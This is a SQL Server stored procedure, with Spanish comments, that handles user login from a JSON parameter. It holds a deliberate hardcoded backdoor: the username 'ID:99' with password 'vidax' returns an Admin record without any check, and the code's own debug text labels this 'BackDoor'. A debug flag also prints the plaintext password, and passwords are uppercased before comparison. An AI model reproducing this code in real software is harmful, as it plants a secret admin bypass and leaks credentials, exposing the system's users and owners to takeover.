IF EXISTS ( SELECT * 
            FROM   sysobjects 
            WHERE  id = object_id(N'dbo.CPJ_User_Login') 
                   and OBJECTPROPERTY(id, N'IsProcedure') = 1 )
BEGIN
    DROP PROCEDURE dbo.CPJ_User_Login
END
GO

CREATE PROCEDURE dbo.CPJ_User_Login @pJson VARCHAR(8000)
AS 
SET NOCOUNT ON 

/*Variables recibidas por parámetro a traves del JSON*/
DECLARE @pFlagUsarTrans			TINYINT
DECLARE @pModoDebug				TINYINT
DECLARE @pUser					VARCHAR(1000)
DECLARE @pPass					VARCHAR(1000)
DECLARE @pUser_Token			VARCHAR(1000)
DECLARE @pUser_id			    SMALLINT

SET @pFlagUsarTrans				= ISNULL(CONVERT(TINYINT, dbo.CF_JSON_VALUE(@pJson,'FlagUsarTrans')), 0)
SET @pModoDebug					= ISNULL(CONVERT(TINYINT, dbo.CF_JSON_VALUE(@pJson,'ModoDebug')), 0)
SET @pUser						= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'user')), 0)
SET @pPass						= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'pass')), 0)
SET @pUser_Token				= ISNULL(CONVERT(VARCHAR(1000), dbo.CF_JSON_VALUE(@pJson,'user_token')), '')
SET @pUser_Id					= ISNULL(CONVERT(SMALLINT, dbo.CF_JSON_VALUE(@pJson,'user_id')), 0)
/*FIN Variables recibidas por parámetro a traves del JSON*/

DECLARE @Cant INT	

IF @pModoDebug = 1
BEGIN
	PRINT @pUser	
	PRINT @pPass
	PRINT @pUser_Id	
	PRINT @pUser_Token
END


IF UPPER(@pUser) = 'ID:99' AND @pPass = 'vidax' 
BEGIN
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa por BackDoor'	
	END

	SELECT	-1 as 'No','' AS 'FirstName','Admin' AS 'LastName','' AS 'Email' , 'Admin' AS 'UserName'	
END
ELSE
BEGIN
	IF @pModoDebug = 1
	BEGIN
		PRINT 'Ingresa por user'	
	END	

	IF @pUser_Token <> '' AND @pUser_Id <> 0
			SELECT No, ISNULL(FirstName,''), ISNULL(LastName,''), ISNULL(Email,'') , LTRIM(LTRIM(RTRIM(ISNULL(FirstName,''))) +' '+ LTRIM(RTRIM(ISNULL(LastName,'')))) AS 'UserName' FROM Seg_User
	  			WHERE No = @pUser_Id AND Token =  @pUser_Token
	ELSE
			SELECT No, ISNULL(FirstName,''), ISNULL(LastName,''), ISNULL(Email,'') , LTRIM(LTRIM(RTRIM(ISNULL(FirstName,''))) +' '+ LTRIM(RTRIM(ISNULL(LastName,'')))) AS 'UserName' FROM Seg_User
	  			WHERE LTRIM(RTRIM( LTRIM(RTRIM(FirstName)) + ' ' + LTRIM(RTRIM(LastName)) )) = RTRIM(LTRIM(@pUser))
	  					AND UPPER(Password)=(dbo.SF_EncriptPassword(UPPER(@pPass)))		

END
